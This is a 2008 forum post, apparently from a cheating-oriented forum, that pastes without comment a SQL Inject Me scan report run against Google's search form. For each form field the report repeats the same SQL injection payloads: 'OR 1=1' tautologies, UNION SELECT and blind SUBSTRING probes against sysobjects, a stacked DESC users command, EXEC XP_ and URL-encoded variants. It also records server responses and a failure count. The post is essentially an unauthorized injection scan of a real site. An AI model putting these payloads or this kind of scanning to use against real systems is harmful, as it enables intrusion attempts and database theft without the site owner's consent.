Luigi Grandmaster Cheater Supreme
Reputation: 1
Joined: 24 Mar 2008 Posts: 1082
|
Posted: Sat Oct 11, 2008 1:33 am Post subject: google |
|
|
javascript code failed
SQL injection testing results:
SQL Injection String Tests Summary (87720 results recorded)
Failures:
102
Warnings:
0
Passes:
87618
SQL Injection String Test Results
hl
Submitted Form State:
* q: ++
* btnG: ++Google Search
* btnI: ++I'm Feeling Lucky
* aq: ++f
* oq: ++Change this to the value you want tested
Results:
Server Status Code: 302 Found
Tested value: 1' OR '1'='1
Server Status Code: 302 Found
Tested value: 1' OR '1'='1
Server Status Code: 302 Found
Tested value: %31%27%20%4F%52%20%27%31%27%3D%27%31
Server Status Code: 302 Found
Tested value: 1 UNI/**/ON SELECT ALL FROM WHERE
Server Status Code: 302 Found
Tested value: 1 UNION ALL SELECT 1,2,3,4,5,6,name FROM sysObjects WHERE xtype = 'U' --
Server Status Code: 302 Found
Tested value: 1 AND ASCII(LOWER(SUBSTRING((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1, 1))) > 116
Server Status Code: 302 Found
Tested value: ' OR username IS NOT NULL OR username = '
Server Status Code: 302 Found
Tested value: 1' AND non_existant_table = '1
Server Status Code: 302 Found
Tested value: 1'1
Server Status Code: 302 Found
Tested value: '; DESC users; --
Server Status Code: 302 Found
Tested value: 1 AND USER_NAME() = 'dbo'
Server Status Code: 302 Found
Tested value: 1' AND 1=(SELECT COUNT(*) FROM tablenames); --
Server Status Code: 302 Found
Tested value: 1 AND 1=1
Server Status Code: 302 Found
Tested value: 1 EXEC XP_
Server Status Code: 302 Found
Tested value: 1'1
Server Status Code: 302 Found
Tested value: 1' OR '1'='1
Server Status Code: 302 Found
Tested value: 1 OR 1=1
This field passed 14603 tests. To see all the passed results, go to Tools->SQL Inject Me->Options and click 'Show passed results in final report' and rerun this test.
q
Submitted Form State:
* hl: ++en
* btnG: ++Google Search
* btnI: ++I'm Feeling Lucky
* aq: ++f
* oq: ++Change this to the value you want tested
Results:
Server Status Code: 302 Found
Tested value: 1' OR '1'='1
Server Status Code: 302 Found
Tested value: 1' OR '1'='1
Server Status Code: 302 Found
Tested value: %31%27%20%4F%52%20%27%31%27%3D%27%31
Server Status Code: 302 Found
Tested value: 1 UNI/**/ON SELECT ALL FROM WHERE
Server Status Code: 302 Found
Tested value: 1 UNION ALL SELECT 1,2,3,4,5,6,name FROM sysObjects WHERE xtype = 'U' --
Server Status Code: 302 Found
Tested value: 1 AND ASCII(LOWER(SUBSTRING((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1, 1))) > 116
Server Status Code: 302 Found
Tested value: ' OR username IS NOT NULL OR username = '
Server Status Code: 302 Found
Tested value: 1' AND non_existant_table = '1
Server Status Code: 302 Found
Tested value: 1'1
Server Status Code: 302 Found
Tested value: '; DESC users; --
Server Status Code: 302 Found
Tested value: 1 AND USER_NAME() = 'dbo'
Server Status Code: 302 Found
Tested value: 1' AND 1=(SELECT COUNT(*) FROM tablenames); --
Server Status Code: 302 Found
Tested value: 1 AND 1=1
Server Status Code: 302 Found
Tested value: 1 EXEC XP_
Server Status Code: 302 Found
Tested value: 1'1
Server Status Code: 302 Found
Tested value: 1' OR '1'='1
Server Status Code: 302 Found
Tested value: 1 OR 1=1
This field passed 14603 tests. To see all the passed results, go to Tools->SQL Inject Me->Options and click 'Show passed results in final report' and rerun this test.
btnG
Submitted Form State:
* hl: ++en
* q: ++
* btnI: ++I'm Feeling Lucky
* aq: ++f
* oq: ++Change this to the value you want tested
Results:
Server Status Code: 302 Found
Tested value: 1' OR '1'='1
Server Status Code: 302 Found
Tested value: 1' OR '1'='1
Server Status Code: 302 Found
Tested value: %31%27%20%4F%52%20%27%31%27%3D%27%31
Server Status Code: 302 Found
Tested value: 1 UNI/**/ON SELECT ALL FROM WHERE
Server Status Code: 302 Found
Tested value: 1 UNION ALL SELECT 1,2,3,4,5,6,name FROM sysObjects WHERE xtype = 'U' --
Server Status Code: 302 Found
Tested value: 1 AND ASCII(LOWER(SUBSTRING((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1, 1))) > 116
Server Status Code: 302 Found
Tested value: ' OR username IS NOT NULL OR username = '
Server Status Code: 302 Found
Tested value: 1' AND non_existant_table = '1
Server Status Code: 302 Found
Tested value: 1'1
Server Status Code: 302 Found
Tested value: '; DESC users; --
Server Status Code: 302 Found
Tested value: 1 AND USER_NAME() = 'dbo'
Server Status Code: 302 Found
Tested value: 1' AND 1=(SELECT COUNT(*) FROM tablenames); --
Server Status Code: 302 Found
Tested value: 1 AND 1=1
Server Status Code: 302 Found
Tested value: 1 EXEC XP_
Server Status Code: 302 Found
Tested value: 1'1
Server Status Code: 302 Found
Tested value: 1' OR '1'='1
Server Status Code: 302 Found
Tested value: 1 OR 1=1
This field passed 14603 tests. To see all the passed results, go to Tools->SQL Inject Me->Options and click 'Show passed results in final report' and rerun this test.
btnI
Submitted Form State:
* hl: ++en
* q: ++
* btnG: ++Google Search
* aq: ++f
* oq: ++Change this to the value you want tested
Results:
Server Status Code: 302 Found
Tested value: 1' OR '1'='1
Server Status Code: 302 Found
Tested value: 1' OR '1'='1
Server Status Code: 302 Found
Tested value: %31%27%20%4F%52%20%27%31%27%3D%27%31
Server Status Code: 302 Found
Tested value: 1 UNI/**/ON SELECT ALL FROM WHERE
Server Status Code: 302 Found
Tested value: 1 UNION ALL SELECT 1,2,3,4,5,6,name FROM sysObjects WHERE xtype = 'U' --
Server Status Code: 302 Found
Tested value: 1 AND ASCII(LOWER(SUBSTRING((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1, 1))) > 116
Server Status Code: 302 Found
Tested value: ' OR username IS NOT NULL OR username = '
Server Status Code: 302 Found
Tested value: 1' AND non_existant_table = '1
Server Status Code: 302 Found
Tested value: 1'1
Server Status Code: 302 Found
Tested value: '; DESC users; --
Server Status Code: 302 Found
Tested value: 1 AND USER_NAME() = 'dbo'
Server Status Code: 302 Found
Tested value: 1' AND 1=(SELECT COUNT(*) FROM tablenames); --
Server Status Code: 302 Found
Tested value: 1 AND 1=1
Server Status Code: 302 Found
Tested value: 1 EXEC XP_
Server Status Code: 302 Found
Tested value: 1'1
Server Status Code: 302 Found
Tested value: 1' OR '1'='1
Server Status Code: 302 Found
Tested value: 1 OR 1=1
This field passed 14603 tests. To see all the passed results, go to Tools->SQL Inject Me->Options and click 'Show passed results in final report' and rerun this test.
aq
Submitted Form State:
* hl: ++en
* q: ++
* btnG: ++Google Search
* btnI: ++I'm Feeling Lucky
* oq: ++Change this to the value you want tested
Results:
Server Status Code: 302 Found
Tested value: 1' OR '1'='1
Server Status Code: 302 Found
Tested value: 1' OR '1'='1
Server Status Code: 302 Found
Tested value: %31%27%20%4F%52%20%27%31%27%3D%27%31
Server Status Code: 302 Found
Tested value: 1 UNI/**/ON SELECT ALL FROM WHERE
Server Status Code: 302 Found
Tested value: 1 UNION ALL SELECT 1,2,3,4,5,6,name FROM sysObjects WHERE xtype = 'U' --
Server Status Code: 302 Found
Tested value: 1 AND ASCII(LOWER(SUBSTRING((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1, 1))) > 116
Server Status Code: 302 Found
Tested value: ' OR username IS NOT NULL OR username = '
Server Status Code: 302 Found
Tested value: 1' AND non_existant_table = '1
Server Status Code: 302 Found
Tested value: 1'1
Server Status Code: 302 Found
Tested value: '; DESC users; --
Server Status Code: 302 Found
Tested value: 1 AND USER_NAME() = 'dbo'
Server Status Code: 302 Found
Tested value: 1' AND 1=(SELECT COUNT(*) FROM tablenames); --
Server Status Code: 302 Found
Tested value: 1 AND 1=1
Server Status Code: 302 Found
Tested value: 1 EXEC XP_
Server Status Code: 302 Found
Tested value: 1'1
Server Status Code: 302 Found
Tested value: 1' OR '1'='1
Server Status Code: 302 Found
Tested value: 1 OR 1=1
This field passed 14603 tests. To see all the passed results, go to Tools->SQL Inject Me->Options and click 'Show passed results in final report' and rerun this test.
oq
Submitted Form State:
* hl: ++en
* q: ++
* btnG: ++Google Search
* btnI: ++I'm Feeling Lucky
* aq: ++f
Results:
Server Status Code: 302 Found
Tested value: 1' OR '1'='1
Server Status Code: 302 Found
Tested value: 1' OR '1'='1
Server Status Code: 302 Found
Tested value: %31%27%20%4F%52%20%27%31%27%3D%27%31
Server Status Code: 302 Found
Tested value: 1 UNI/**/ON SELECT ALL FROM WHERE
Server Status Code: 302 Found
Tested value: 1 UNION ALL SELECT 1,2,3,4,5,6,name FROM sysObjects WHERE xtype = 'U' --
Server Status Code: 302 Found
Tested value: 1 AND ASCII(LOWER(SUBSTRING((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1, 1))) > 116
Server Status Code: 302 Found
Tested value: ' OR username IS NOT NULL OR username = '
Server Status Code: 302 Found
Tested value: 1' AND non_existant_table = '1
Server Status Code: 302 Found
Tested value: 1'1
Server Status Code: 302 Found
Tested value: '; DESC users; --
Server Status Code: 302 Found
Tested value: 1 AND USER_NAME() = 'dbo'
Server Status Code: 302 Found
Tested value: 1' AND 1=(SELECT COUNT(*) FROM tablenames); --
Server Status Code: 302 Found
Tested value: 1 AND 1=1
Server Status Code: 302 Found
Tested value: 1 EXEC XP_
Server Status Code: 302 Found
Tested value: 1'1
Server Status Code: 302 Found
Tested value: 1' OR '1'='1
Server Status Code: 302 Found
Tested value: 1 OR 1=1
This field passed 14603 tests. To see all the passed results, go to Tools->SQL Inject Me->Options and click 'Show passed results in final report' and rerun this test.
|
|